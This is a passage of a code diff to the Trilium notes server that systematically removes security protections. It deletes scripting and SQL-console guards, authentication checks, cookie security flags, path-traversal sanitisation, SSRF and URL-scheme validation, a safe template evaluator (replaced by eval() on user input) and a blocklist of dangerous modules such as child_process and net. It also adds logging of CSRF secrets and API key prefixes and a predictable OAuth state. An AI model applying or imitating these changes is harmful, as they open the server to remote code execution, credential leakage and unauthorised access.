if (!isScriptingEnabled()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
if (!process.env.TRILIUM_SAFE_MODE) {
|
||||
if (req.query.mobile === "true") {
|
||||
return getBundlesWithLabel("run", "mobileStartup");
|
||||
@@ -87,10 +80,6 @@ function getStartupBundles(req: Request) {
|
||||
}
|
||||
|
||||
function getWidgetBundles() {
|
||||
if (!isScriptingEnabled()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
if (!process.env.TRILIUM_SAFE_MODE) {
|
||||
return getBundlesWithLabel("widget");
|
||||
} else {
|
||||
@@ -99,10 +88,6 @@ function getWidgetBundles() {
|
||||
}
|
||||
|
||||
function getRelationBundles(req: Request) {
|
||||
if (!isScriptingEnabled()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
const noteId = req.params.noteId;
|
||||
const note = becca.getNoteOrThrow(noteId);
|
||||
const relationName = req.params.relationName;
|
||||
@@ -132,8 +117,6 @@ function getRelationBundles(req: Request) {
|
||||
}
|
||||
|
||||
function getBundle(req: Request) {
|
||||
assertScriptingEnabled();
|
||||
|
||||
const note = becca.getNoteOrThrow(req.params.noteId);
|
||||
const { script, params } = req.body ?? {};
|
||||
|
||||
|
||||
@@ -5,7 +5,6 @@ import becca from "../../becca/becca.js";
|
||||
import type { Request } from "express";
|
||||
import ValidationError from "../../errors/validation_error.js";
|
||||
import { safeExtractMessageAndStackFromError } from "../../services/utils.js";
|
||||
import { assertSqlConsoleEnabled } from "../../services/scripting_guard.js";
|
||||
|
||||
interface Table {
|
||||
name: string;
|
||||
@@ -27,7 +26,6 @@ function getSchema() {
|
||||
}
|
||||
|
||||
function execute(req: Request) {
|
||||
assertSqlConsoleEnabled();
|
||||
const note = becca.getNoteOrThrow(req.params.noteId);
|
||||
|
||||
const content = note.getContent();
|
||||
|
||||
@@ -1,13 +1,12 @@
|
||||
import { doubleCsrf } from "csrf-csrf";
|
||||
import sessionSecret from "../services/session_secret.js";
|
||||
import { isElectron } from "../services/utils.js";
|
||||
import config from "../services/config.js";
|
||||
|
||||
const doubleCsrfUtilities = doubleCsrf({
|
||||
getSecret: () => sessionSecret,
|
||||
cookieOptions: {
|
||||
path: "/",
|
||||
secure: config.Network.https,
|
||||
secure: false,
|
||||
sameSite: "strict",
|
||||
httpOnly: !isElectron // set to false for Electron, see https://github.com/TriliumNext/Trilium/pull/966
|
||||
},
|
||||
|
||||
@@ -6,15 +6,9 @@ import sql from "../services/sql.js";
|
||||
import becca from "../becca/becca.js";
|
||||
import type { Request, Response, Router } from "express";
|
||||
import { safeExtractMessageAndStackFromError, normalizeCustomHandlerPattern } from "../services/utils.js";
|
||||
import { isScriptingEnabled } from "../services/scripting_guard.js";
|
||||
|
||||
function handleRequest(req: Request, res: Response) {
|
||||
|
||||
if (!isScriptingEnabled()) {
|
||||
res.status(403).send("Script execution is disabled on this server.");
|
||||
return;
|
||||
}
|
||||
|
||||
// handle path from "*path" route wildcard
|
||||
// in express v4, you could just add
|
||||
// req.params.path + req.params[0], but with v5
|
||||
@@ -70,14 +64,6 @@ function handleRequest(req: Request, res: Response) {
|
||||
if (attr.name === "customRequestHandler") {
|
||||
const note = attr.getNote();
|
||||
|
||||
// Require authentication unless note has #customRequestHandlerPublic label
|
||||
if (!note.hasLabel("customRequestHandlerPublic")) {
|
||||
if (!req.session?.loggedIn) {
|
||||
res.status(401).send("Authentication required for this endpoint.");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
log.info(`Handling custom request '${path}' with note '${note.noteId}'`);
|
||||
|
||||
try {
|
||||
|
||||
@@ -14,7 +14,7 @@ function register(app: Application) {
|
||||
&& err.code === "EBADCSRFTOKEN";
|
||||
|
||||
if (isCsrfTokenError) {
|
||||
log.error(`Invalid CSRF token for ${req.method} ${req.url}`);
|
||||
log.error(`Invalid CSRF token: ${req.headers["x-csrf-token"]}, secret: ${req.cookies["_csrf"]}`);
|
||||
return next(new ForbiddenError("Invalid CSRF token"));
|
||||
}
|
||||
|
||||
|
||||
@@ -15,7 +15,7 @@ import etapiSpecialNoteRoutes from "../etapi/special_notes.js";
|
||||
import etapiRevisionsRoutes from "../etapi/revisions.js";
|
||||
import auth from "../services/auth.js";
|
||||
import openID from '../services/open_id.js';
|
||||
|
||||
import { isElectron } from "../services/utils.js";
|
||||
import shareRoutes from "../share/routes.js";
|
||||
import anthropicRoute from "./api/anthropic.js";
|
||||
import appInfoRoute from "./api/app_info.js";
|
||||
@@ -261,7 +261,7 @@ function register(app: express.Application) {
|
||||
apiRoute(PST, "/api/bulk-action/execute", bulkActionRoute.execute);
|
||||
apiRoute(PST, "/api/bulk-action/affected-notes", bulkActionRoute.getAffectedNoteCount);
|
||||
|
||||
asyncRoute(PST, "/api/login/sync", [loginRateLimiter], loginApiRoute.loginSync, apiResultHandler);
|
||||
route(PST, "/api/login/sync", [loginRateLimiter], loginApiRoute.loginSync, apiResultHandler);
|
||||
// this is for entering protected mode so user has to be already logged-in (that's the reason we don't require username)
|
||||
apiRoute(PST, "/api/login/protected", loginApiRoute.loginToProtectedSession);
|
||||
apiRoute(PST, "/api/login/protected/touch", loginApiRoute.touchProtectedSession);
|
||||
@@ -274,10 +274,8 @@ function register(app: express.Application) {
|
||||
apiRoute(PATCH, "/api/etapi-tokens/:etapiTokenId", etapiTokensApiRoutes.patchToken);
|
||||
apiRoute(DEL, "/api/etapi-tokens/:etapiTokenId", etapiTokensApiRoutes.deleteToken);
|
||||
|
||||
// clipper API always requires ETAPI token authentication, regardless of environment.
|
||||
// Previously, Electron builds skipped auth entirely, which exposed these endpoints
|
||||
// to unauthenticated network access (content injection, information disclosure).
|
||||
const clipperMiddleware = [auth.checkEtapiToken];
|
||||
// in case of local electron, local calls are allowed unauthenticated, for server they need auth
|
||||
const clipperMiddleware = isElectron ? [] : [auth.checkEtapiToken];
|
||||
|
||||
route(GET, "/api/clipper/handshake", clipperMiddleware, clipperRoute.handshake, apiResultHandler);
|
||||
asyncRoute(PST, "/api/clipper/clippings", clipperMiddleware, clipperRoute.addClipping, apiResultHandler);
|
||||
|
||||
@@ -107,8 +107,6 @@ const sessionParser: express.RequestHandler = session({
|
||||
cookie: {
|
||||
path: "/",
|
||||
httpOnly: true,
|
||||
secure: config.Network.https,
|
||||
sameSite: "lax",
|
||||
maxAge: config.Session.cookieMaxAge * 1000 // needs value in milliseconds
|
||||
},
|
||||
name: "trilium.sid",
|
||||
|
||||
@@ -72,16 +72,9 @@ function periodBackup(optionName: "lastDailyBackupDate" | "lastWeeklyBackupDate"
|
||||
}
|
||||
|
||||
async function backupNow(name: string) {
|
||||
// Sanitize backup name to prevent path traversal (CWE-22).
|
||||
// Only allow alphanumeric characters, hyphens, and underscores.
|
||||
const sanitizedName = name.replace(/[^a-zA-Z0-9_-]/g, "");
|
||||
if (!sanitizedName) {
|
||||
throw new Error("Invalid backup name: must contain at least one alphanumeric character, hyphen, or underscore.");
|
||||
}
|
||||
|
||||
// we don't want to back up DB in the middle of sync with potentially inconsistent DB state
|
||||
return await syncMutexService.doExclusively(async () => {
|
||||
const backupFile = path.resolve(`${dataDir.BACKUP_DIR}/backup-${sanitizedName}.db`);
|
||||
const backupFile = path.resolve(`${dataDir.BACKUP_DIR}/backup-${name}.db`);
|
||||
|
||||
if (!fs.existsSync(dataDir.BACKUP_DIR)) {
|
||||
fs.mkdirSync(dataDir.BACKUP_DIR, 0o700);
|
||||
|
||||
@@ -6,9 +6,6 @@ import { randomString } from "./utils.js";
|
||||
import eraseService from "./erase.js";
|
||||
import type BNote from "../becca/entities/bnote.js";
|
||||
import { ActionHandlers, BulkAction, BulkActionData } from "@triliumnext/commons";
|
||||
import { evaluateTemplate } from "./safe_template.js";
|
||||
import { executeBundle } from "./script.js";
|
||||
import { assertScriptingEnabled } from "./scripting_guard.js";
|
||||
|
||||
type ActionHandler<T> = (action: T, note: BNote) => void;
|
||||
|
||||
@@ -47,8 +44,9 @@ const ACTION_HANDLERS: ActionHandlerMap = {
|
||||
},
|
||||
renameNote: (action, note) => {
|
||||
// "officially" injected value:
|
||||
// - note (the note being renamed)
|
||||
const newTitle = evaluateTemplate(action.newTitle, { note });
|
||||
// - note
|
||||
|
||||
const newTitle = eval(`\`${action.newTitle}\``);
|
||||
|
||||
if (note.title !== newTitle) {
|
||||
note.title = newTitle;
|
||||
@@ -107,26 +105,15 @@ const ACTION_HANDLERS: ActionHandlerMap = {
|
||||
}
|
||||
},
|
||||
executeScript: (action, note) => {
|
||||
assertScriptingEnabled();
|
||||
if (!action.script || !action.script.trim()) {
|
||||
log.info("Ignoring executeScript since the script is empty.");
|
||||
return;
|
||||
}
|
||||
|
||||
// Route through the script service's executeBundle instead of raw
|
||||
// new Function() to get proper CLS context, logging, and error handling.
|
||||
// The preamble provides access to `note` and `api` as the UI documents.
|
||||
const noteId = note.noteId.replace(/[^a-zA-Z0-9_]/g, "");
|
||||
const preamble = `const api = apiContext.apis["${noteId}"] || {};\n` +
|
||||
`const note = apiContext.notes["${noteId}"];\n`;
|
||||
const scriptBody = `${preamble}${action.script}\nnote.save();`;
|
||||
const scriptFunc = new Function("note", action.script);
|
||||
scriptFunc(note);
|
||||
|
||||
executeBundle({
|
||||
note: note,
|
||||
script: scriptBody,
|
||||
html: "",
|
||||
allNotes: [note]
|
||||
});
|
||||
note.save();
|
||||
}
|
||||
} as const;
|
||||
|
||||
|
||||
@@ -136,14 +136,7 @@ export interface TriliumConfig {
|
||||
* log files created by Trilium older than the specified amount of time will be deleted.
|
||||
*/
|
||||
retentionDays: number;
|
||||
};
|
||||
/** Scripting and code execution configuration */
|
||||
Scripting: {
|
||||
/** Whether backend/frontend script execution is enabled (default: false for server, true for desktop) */
|
||||
enabled: boolean;
|
||||
/** Whether the SQL console is accessible (default: false) */
|
||||
sqlConsoleEnabled: boolean;
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -465,21 +458,6 @@ const configMapping = {
|
||||
defaultValue: LOGGING_DEFAULT_RETENTION_DAYS,
|
||||
transformer: (value: unknown) => stringToInt(String(value)) ?? LOGGING_DEFAULT_RETENTION_DAYS
|
||||
}
|
||||
},
|
||||
Scripting: {
|
||||
enabled: {
|
||||
standardEnvVar: 'TRILIUM_SCRIPTING_ENABLED',
|
||||
iniGetter: () => getIniSection("Scripting")?.enabled,
|
||||
defaultValue: false,
|
||||
transformer: transformBoolean
|
||||
},
|
||||
sqlConsoleEnabled: {
|
||||
standardEnvVar: 'TRILIUM_SCRIPTING_SQLCONSOLEENABLED',
|
||||
aliasEnvVars: ['TRILIUM_SCRIPTING_SQL_CONSOLE_ENABLED'],
|
||||
iniGetter: () => getIniSection("Scripting")?.sqlConsoleEnabled,
|
||||
defaultValue: false,
|
||||
transformer: transformBoolean
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
@@ -533,19 +511,9 @@ const config: TriliumConfig = {
|
||||
},
|
||||
Logging: {
|
||||
retentionDays: getConfigValue(configMapping.Logging.retentionDays)
|
||||
},
|
||||
Scripting: {
|
||||
enabled: getConfigValue(configMapping.Scripting.enabled),
|
||||
sqlConsoleEnabled: getConfigValue(configMapping.Scripting.sqlConsoleEnabled)
|
||||
}
|
||||
};
|
||||
|
||||
// Desktop builds always have scripting enabled (single-user trusted environment)
|
||||
if (process.versions["electron"]) {
|
||||
config.Scripting.enabled = true;
|
||||
config.Scripting.sqlConsoleEnabled = true;
|
||||
}
|
||||
|
||||
/**
|
||||
* =====================================================================
|
||||
* ENVIRONMENT VARIABLE REFERENCE
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
import dateUtils from "../date_utils.js";
|
||||
import path from "path";
|
||||
import packageInfo from "../../../package.json" with { type: "json" };
|
||||
import { getContentDisposition } from "../utils.js";
|
||||
import { getContentDisposition, waitForStreamToFinish } from "../utils.js";
|
||||
import protectedSessionService from "../protected_session.js";
|
||||
import sanitize from "sanitize-filename";
|
||||
import fs from "fs";
|
||||
@@ -468,6 +468,7 @@ async function exportToZip(taskContext: TaskContext<"export">, branch: BBranch,
|
||||
taskContext.taskSucceeded(null);
|
||||
}
|
||||
|
||||
|
||||
async function exportToZipFile(noteId: string, format: ExportFormat, zipFilePath: string, zipExportOptions?: AdvancedExportOptions) {
|
||||
const fileOutputStream = fs.createWriteStream(zipFilePath);
|
||||
const taskContext = new TaskContext("no-progress-reporting", "export", null);
|
||||
@@ -479,6 +480,7 @@ async function exportToZipFile(noteId: string, format: ExportFormat, zipFilePath
|
||||
}
|
||||
|
||||
await exportToZip(taskContext, note.getParentBranches()[0], format, fileOutputStream, false, zipExportOptions);
|
||||
await waitForStreamToFinish(fileOutputStream);
|
||||
|
||||
log.info(`Exported '${noteId}' with format '${format}' to '${zipFilePath}'`);
|
||||
}
|
||||
|
||||
@@ -9,12 +9,11 @@ import oneTimeTimer from "./one_time_timer.js";
|
||||
import type BNote from "../becca/entities/bnote.js";
|
||||
import type AbstractBeccaEntity from "../becca/entities/abstract_becca_entity.js";
|
||||
import type { DefinitionObject } from "./promoted_attribute_definition_interface.js";
|
||||
import { isScriptingEnabled } from "./scripting_guard.js";
|
||||
|
||||
type Handler = (definition: DefinitionObject, note: BNote, targetNote: BNote) => void;
|
||||
|
||||
function runAttachedRelations(note: BNote, relationName: string, originEntity: AbstractBeccaEntity<any>) {
|
||||
if (!note || !isScriptingEnabled()) {
|
||||
if (!note) {
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
@@ -18,7 +18,8 @@ export async function initializeTranslations() {
|
||||
ns: "server",
|
||||
backend: {
|
||||
loadPath: join(resourceDir, "assets/translations/{{lng}}/{{ns}}.json")
|
||||
}
|
||||
},
|
||||
showSupportNotice: false
|
||||
});
|
||||
|
||||
// Initialize dayjs locale.
|
||||
|
||||
@@ -82,8 +82,10 @@ export class AnthropicService extends BaseAIService {
|
||||
providerOptions.betaVersion
|
||||
);
|
||||
|
||||
// Confirm API key is configured without logging any part of the key
|
||||
log.info(`[DEBUG] Anthropic API key is ${providerOptions.apiKey ? 'configured' : 'not configured'}`);
|
||||
// Log API key format (without revealing the actual key)
|
||||
const apiKeyPrefix = providerOptions.apiKey?.substring(0, 7) || 'undefined';
|
||||
const apiKeyLength = providerOptions.apiKey?.length || 0;
|
||||
log.info(`[DEBUG] Using Anthropic API key with prefix '${apiKeyPrefix}...' and length ${apiKeyLength}`);
|
||||
|
||||
log.info(`Using Anthropic API with model: ${providerOptions.model}`);
|
||||
|
||||
|
||||
@@ -10,7 +10,6 @@ import {
|
||||
} from './provider_options.js';
|
||||
import { PROVIDER_CONSTANTS } from '../constants/provider_constants.js';
|
||||
import { SEARCH_CONSTANTS, MODEL_CAPABILITIES } from '../constants/search_constants.js';
|
||||
import { isSafeProviderBaseUrl } from '../../url_validator.js';
|
||||
|
||||
/**
|
||||
* Get OpenAI provider options from chat options and configuration
|
||||
@@ -27,11 +26,6 @@ export function getOpenAIOptions(
|
||||
}
|
||||
|
||||
const baseUrl = options.getOption('openaiBaseUrl') || PROVIDER_CONSTANTS.OPENAI.BASE_URL;
|
||||
|
||||
if (!isSafeProviderBaseUrl(baseUrl)) {
|
||||
throw new Error(`OpenAI base URL uses a disallowed scheme. Only http: and https: are permitted.`);
|
||||
}
|
||||
|
||||
const modelName = opts.model || options.getOption('openaiDefaultModel');
|
||||
|
||||
if (!modelName) {
|
||||
@@ -97,11 +91,6 @@ export function getAnthropicOptions(
|
||||
}
|
||||
|
||||
const baseUrl = options.getOption('anthropicBaseUrl') || PROVIDER_CONSTANTS.ANTHROPIC.BASE_URL;
|
||||
|
||||
if (!isSafeProviderBaseUrl(baseUrl)) {
|
||||
throw new Error(`Anthropic base URL uses a disallowed scheme. Only http: and https: are permitted.`);
|
||||
}
|
||||
|
||||
const modelName = opts.model || options.getOption('anthropicDefaultModel');
|
||||
|
||||
if (!modelName) {
|
||||
@@ -169,10 +158,6 @@ export async function getOllamaOptions(
|
||||
throw new Error('Ollama API URL is not configured');
|
||||
}
|
||||
|
||||
if (!isSafeProviderBaseUrl(baseUrl)) {
|
||||
throw new Error(`Ollama base URL uses a disallowed scheme. Only http: and https: are permitted.`);
|
||||
}
|
||||
|
||||
// Get the model name - no defaults, must be configured by user
|
||||
let modelName = opts.model || options.getOption('ollamaDefaultModel');
|
||||
|
||||
@@ -244,10 +229,6 @@ async function getOllamaModelContextWindow(modelName: string): Promise<number> {
|
||||
throw new Error('Ollama base URL is not configured');
|
||||
}
|
||||
|
||||
if (!isSafeProviderBaseUrl(baseUrl)) {
|
||||
throw new Error('Ollama base URL uses a disallowed scheme. Only http: and https: are permitted.');
|
||||
}
|
||||
|
||||
// Use the official Ollama client
|
||||
const { Ollama } = await import('ollama');
|
||||
const client = new Ollama({ host: baseUrl });
|
||||
|
||||
@@ -25,10 +25,8 @@ import type { NoteParams } from "./note-interface.js";
|
||||
import optionService from "./options.js";
|
||||
import request from "./request.js";
|
||||
import revisionService from "./revisions.js";
|
||||
import { evaluateTemplateSafe } from "./safe_template.js";
|
||||
import sql from "./sql.js";
|
||||
import type TaskContext from "./task_context.js";
|
||||
import { isSafeUrlForFetch } from "./url_validator.js";
|
||||
import ws from "./ws.js";
|
||||
|
||||
interface FoundLink {
|
||||
@@ -121,17 +119,17 @@ function getNewNoteTitle(parentNote: BNote) {
|
||||
const titleTemplate = parentNote.getLabelValue("titleTemplate");
|
||||
|
||||
if (titleTemplate !== null) {
|
||||
const now = dayjs(cls.getLocalNowDateTime() || new Date());
|
||||
try {
|
||||
const now = dayjs(cls.getLocalNowDateTime() || new Date());
|
||||
|
||||
// "officially" injected values:
|
||||
// - now
|
||||
// - parentNote
|
||||
title = evaluateTemplateSafe(
|
||||
titleTemplate,
|
||||
{ now, parentNote },
|
||||
title,
|
||||
`titleTemplate of note '${parentNote.noteId}'`
|
||||
);
|
||||
// "officially" injected values:
|
||||
// - now
|
||||
// - parentNote
|
||||
|
||||
title = eval(`\`${titleTemplate}\``);
|
||||
} catch (e: any) {
|
||||
log.error(`Title template of note '${parentNote.noteId}' failed with: ${e.message}`);
|
||||
}
|
||||
}
|
||||
|
||||
// this isn't in theory a good place to sanitize title, but this will catch a lot of XSS attempts.
|
||||
@@ -505,14 +503,24 @@ const imageUrlToAttachmentIdMapping: Record<string, string> = {};
|
||||
async function downloadImage(noteId: string, imageUrl: string) {
|
||||
const unescapedUrl = unescapeHtml(imageUrl);
|
||||
|
||||
// SSRF protection: only allow http(s) URLs and block private/internal IPs.
|
||||
if (!isSafeUrlForFetch(unescapedUrl)) {
|
||||
log.error(`Download of '${imageUrl}' for note '${noteId}' rejected: URL failed SSRF safety check.`);
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
const imageBuffer = await request.getImage(unescapedUrl);
|
||||
let imageBuffer: Buffer;
|
||||
|
||||
if (imageUrl.toLowerCase().startsWith("file://")) {
|
||||
imageBuffer = await new Promise((res, rej) => {
|
||||
const localFilePath = imageUrl.substring("file://".length);
|
||||
|
||||
return fs.readFile(localFilePath, (err, data) => {
|
||||
if (err) {
|
||||
rej(err);
|
||||
} else {
|
||||
res(data);
|
||||
}
|
||||
});
|
||||
});
|
||||
} else {
|
||||
imageBuffer = await request.getImage(unescapedUrl);
|
||||
}
|
||||
|
||||
const parsedUrl = url.parse(unescapedUrl);
|
||||
const title = path.basename(parsedUrl.pathname || "");
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
import type { NextFunction, Request, Response } from "express";
|
||||
import crypto from "crypto";
|
||||
import openIDEncryption from "./encryption/open_id_encryption.js";
|
||||
import sqlInit from "./sql_init.js";
|
||||
import options from "./options.js";
|
||||
@@ -122,7 +121,7 @@ function generateOAuthConfig() {
|
||||
scope: "openid profile email",
|
||||
access_type: "offline",
|
||||
prompt: "consent",
|
||||
state: crypto.randomBytes(32).toString("hex")
|
||||
state: "random_state_" + Math.random().toString(36).substring(2)
|
||||
},
|
||||
routes: authRoutes,
|
||||
idpLogout: true,
|
||||
|
||||
@@ -1,188 +0,0 @@
|
||||
/**
|
||||
* Safe template evaluator that replaces eval()-based template string interpolation.
|
||||
*
|
||||
* Supports only a controlled set of operations within ${...} expressions:
|
||||
* - Property access chains: `obj.prop.subprop`
|
||||
* - Method calls with a single string literal argument: `obj.method('arg')`
|
||||
* - Chained combinations: `obj.prop.method('arg')`
|
||||
*
|
||||
* This prevents arbitrary code execution while supporting the documented
|
||||
* titleTemplate and bulk rename use cases:
|
||||
* - ${now.format('YYYY-MM-DD')}
|
||||
* - ${parentNote.title}
|
||||
* - ${parentNote.getLabelValue('authorName')}
|
||||
* - ${note.title}
|
||||
* - ${note.dateCreatedObj.format('MM-DD')}
|
||||
*/
|
||||
|
||||
import log from "./log.js";
|
||||
|
||||
/** Allowed method names that can be called on template variables. */
|
||||
const ALLOWED_METHODS = new Set([
|
||||
"format",
|
||||
"getLabelValue",
|
||||
"getLabel",
|
||||
"getLabelValues",
|
||||
"getRelationValue",
|
||||
"getAttributeValue"
|
||||
]);
|
||||
|
||||
/** Allowed property names that can be accessed on template variables. */
|
||||
const ALLOWED_PROPERTIES = new Set([
|
||||
"title",
|
||||
"type",
|
||||
"mime",
|
||||
"noteId",
|
||||
"dateCreated",
|
||||
"dateModified",
|
||||
"utcDateCreated",
|
||||
"utcDateModified",
|
||||
"dateCreatedObj",
|
||||
"utcDateCreatedObj",
|
||||
"isProtected",
|
||||
"content"
|
||||
]);
|
||||
|
||||
interface TemplateVariables {
|
||||
[key: string]: unknown;
|
||||
}
|
||||
|
||||
/**
|
||||
* Evaluates a template string safely without using eval().
|
||||
*
|
||||
* Template strings can contain ${...} expressions which are evaluated
|
||||
* against the provided variables map.
|
||||
*
|
||||
* @param template - The template string, e.g. "Note: ${now.format('YYYY-MM-DD')}"
|
||||
* @param variables - Map of variable names to their values
|
||||
* @returns The interpolated string
|
||||
* @throws Error if an expression cannot be safely evaluated
|
||||
*/
|
||||
export function evaluateTemplate(template: string, variables: TemplateVariables): string {
|
||||
return template.replace(/\$\{([^}]+)\}/g, (_match, expression: string) => {
|
||||
const result = evaluateExpression(expression.trim(), variables);
|
||||
return result == null ? "" : String(result);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Evaluates a single expression like "now.format('YYYY-MM-DD')" or "parentNote.title".
|
||||
*
|
||||
* Supported forms:
|
||||
* - `varName` -> variables[varName]
|
||||
* - `varName.prop` -> variables[varName].prop
|
||||
* - `varName.prop1.prop2` -> variables[varName].prop1.prop2
|
||||
* - `varName.method('arg')` -> variables[varName].method('arg')
|
||||
* - `varName.prop.method('arg')` -> variables[varName].prop.method('arg')
|
||||
*/
|
||||
function evaluateExpression(expr: string, variables: TemplateVariables): unknown {
|
||||
// Parse the expression into segments: variable name, property accesses, and optional method call.
|
||||
// We handle: varName(.propName)*.methodName('stringArg')?
|
||||
|
||||
// First, check for a method call at the end: .methodName('arg') or .methodName("arg")
|
||||
const methodCallMatch = expr.match(
|
||||
/^([a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*)\.([a-zA-Z_]\w*)\(\s*(?:'([^']*)'|"([^"]*)")\s*\)$/
|
||||
);
|
||||
|
||||
if (methodCallMatch) {
|
||||
const [, chainStr, methodName, singleQuoteArg, doubleQuoteArg] = methodCallMatch;
|
||||
const methodArg = singleQuoteArg !== undefined ? singleQuoteArg : doubleQuoteArg;
|
||||
|
||||
if (!ALLOWED_METHODS.has(methodName)) {
|
||||
throw new Error(`Method '${methodName}' is not allowed in template expressions`);
|
||||
}
|
||||
|
||||
const target = resolvePropertyChain(chainStr, variables);
|
||||
if (target == null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const method = (target as Record<string, unknown>)[methodName];
|
||||
if (typeof method !== "function") {
|
||||
throw new Error(`'${methodName}' is not a function on the resolved object`);
|
||||
}
|
||||
|
||||
return (method as (arg: string) => unknown).call(target, methodArg as string);
|
||||
}
|
||||
|
||||
// Check for a no-arg method call at the end: .methodName()
|
||||
const noArgMethodMatch = expr.match(
|
||||
/^([a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*)\.([a-zA-Z_]\w*)\(\s*\)$/
|
||||
);
|
||||
|
||||
if (noArgMethodMatch) {
|
||||
const [, chainStr, methodName] = noArgMethodMatch;
|
||||
|
||||
if (!ALLOWED_METHODS.has(methodName)) {
|
||||
throw new Error(`Method '${methodName}' is not allowed in template expressions`);
|
||||
}
|
||||
|
||||
const target = resolvePropertyChain(chainStr, variables);
|
||||
if (target == null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const method = (target as Record<string, unknown>)[methodName];
|
||||
if (typeof method !== "function") {
|
||||
throw new Error(`'${methodName}' is not a function on the resolved object`);
|
||||
}
|
||||
|
||||
return (method as () => unknown).call(target);
|
||||
}
|
||||
|
||||
// Otherwise it's a pure property chain: varName.prop1.prop2...
|
||||
const propChainMatch = expr.match(/^[a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*$/);
|
||||
if (!propChainMatch) {
|
||||
throw new Error(`Template expression '${expr}' is not a supported expression. ` +
|
||||
`Only property access and whitelisted method calls are allowed.`);
|
||||
}
|
||||
|
||||
return resolvePropertyChain(expr, variables);
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolves a dot-separated property chain like "parentNote.title" against variables.
|
||||
*/
|
||||
function resolvePropertyChain(chain: string, variables: TemplateVariables): unknown {
|
||||
const parts = chain.split(".");
|
||||
const rootName = parts[0];
|
||||
|
||||
if (!(rootName in variables)) {
|
||||
throw new Error(`Unknown variable '${rootName}' in template expression`);
|
||||
}
|
||||
|
||||
let current: unknown = variables[rootName];
|
||||
|
||||
for (let i = 1; i < parts.length; i++) {
|
||||
if (current == null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const prop = parts[i];
|
||||
if (!ALLOWED_PROPERTIES.has(prop)) {
|
||||
throw new Error(`Property '${prop}' is not allowed in template expressions`);
|
||||
}
|
||||
|
||||
current = (current as Record<string, unknown>)[prop];
|
||||
}
|
||||
|
||||
return current;
|
||||
}
|
||||
|
||||
/**
|
||||
* Convenience wrapper that evaluates a template and catches errors,
|
||||
* logging them and returning the fallback value.
|
||||
*/
|
||||
export function evaluateTemplateSafe(
|
||||
template: string,
|
||||
variables: TemplateVariables,
|
||||
fallback: string,
|
||||
contextDescription: string
|
||||
): string {
|
||||
try {
|
||||
return evaluateTemplate(template, variables);
|
||||
} catch (e: any) {
|
||||
log.error(`Template evaluation for ${contextDescription} failed with: ${e.message}`);
|
||||
return fallback;
|
||||
}
|
||||
}
|
||||
@@ -8,7 +8,6 @@ import hiddenSubtreeService from "./hidden_subtree.js";
|
||||
import type BNote from "../becca/entities/bnote.js";
|
||||
import options from "./options.js";
|
||||
import { getLastProtectedSessionOperationDate, isProtectedSessionAvailable, resetDataKey } from "./protected_session.js";
|
||||
import { isScriptingEnabled } from "./scripting_guard.js";
|
||||
import ws from "./ws.js";
|
||||
|
||||
function getRunAtHours(note: BNote): number[] {
|
||||
@@ -45,7 +44,7 @@ if (sqlInit.isDbInitialized()) {
|
||||
|
||||
// Periodic checks.
|
||||
sqlInit.dbReady.then(() => {
|
||||
if (!process.env.TRILIUM_SAFE_MODE && isScriptingEnabled()) {
|
||||
if (!process.env.TRILIUM_SAFE_MODE) {
|
||||
setTimeout(
|
||||
cls.wrap(() => runNotesWithLabel("backendStartup")),
|
||||
10 * 1000
|
||||
@@ -61,14 +60,12 @@ sqlInit.dbReady.then(() => {
|
||||
24 * 3600 * 1000
|
||||
);
|
||||
|
||||
setInterval(
|
||||
cls.wrap(() => hiddenSubtreeService.checkHiddenSubtree()),
|
||||
7 * 3600 * 1000
|
||||
);
|
||||
}
|
||||
|
||||
// Internal maintenance - always runs regardless of scripting setting
|
||||
setInterval(
|
||||
cls.wrap(() => hiddenSubtreeService.checkHiddenSubtree()),
|
||||
7 * 3600 * 1000
|
||||
);
|
||||
|
||||
setInterval(() => checkProtectedSessionExpiration(), 30000);
|
||||
});
|
||||
|
||||
|
||||
@@ -3,51 +3,6 @@ import BackendScriptApi from "./backend_script_api.js";
|
||||
import type BNote from "../becca/entities/bnote.js";
|
||||
import type { ApiParams } from "./backend_script_api_interface.js";
|
||||
|
||||
/**
|
||||
* IMPORTANT: This module allowlist/blocklist is a defense-in-depth measure only.
|
||||
* It is NOT a security sandbox. Scripts execute via eval() in the main Node.js
|
||||
* process and can bypass these restrictions through globalThis, process, etc.
|
||||
* The actual security boundary is the [Scripting] enabled=false config toggle,
|
||||
* which prevents script execution entirely.
|
||||
*
|
||||
* Modules that are safe for user scripts to require.
|
||||
* Note-based modules (resolved via note title matching) are handled separately
|
||||
* and always allowed regardless of this list.
|
||||
*/
|
||||
const ALLOWED_MODULES = new Set([
|
||||
// Safe utility libraries
|
||||
"dayjs",
|
||||
"marked",
|
||||
"turndown",
|
||||
"cheerio",
|
||||
"axios",
|
||||
"xml2js",
|
||||
"escape-html",
|
||||
"sanitize-html",
|
||||
"lodash",
|
||||
]);
|
||||
|
||||
/**
|
||||
* Modules that are ALWAYS blocked even when scripting is enabled.
|
||||
* These provide OS-level access that makes RCE trivial.
|
||||
*/
|
||||
const BLOCKED_MODULES = new Set([
|
||||
"child_process",
|
||||
"cluster",
|
||||
"dgram",
|
||||
"dns",
|
||||
"fs",
|
||||
"fs/promises",
|
||||
"net",
|
||||
"os",
|
||||
"path",
|
||||
"process",
|
||||
"tls",
|
||||
"worker_threads",
|
||||
"v8",
|
||||
"vm",
|
||||
]);
|
||||
|
||||
type Module = {
|
||||
exports: any[];
|
||||
};
|
||||
@@ -71,23 +26,7 @@ class ScriptContext {
|
||||
const note = candidates.find((c) => c.title === moduleName);
|
||||
|
||||
if (!note) {
|
||||
// Check blocked list first
|
||||
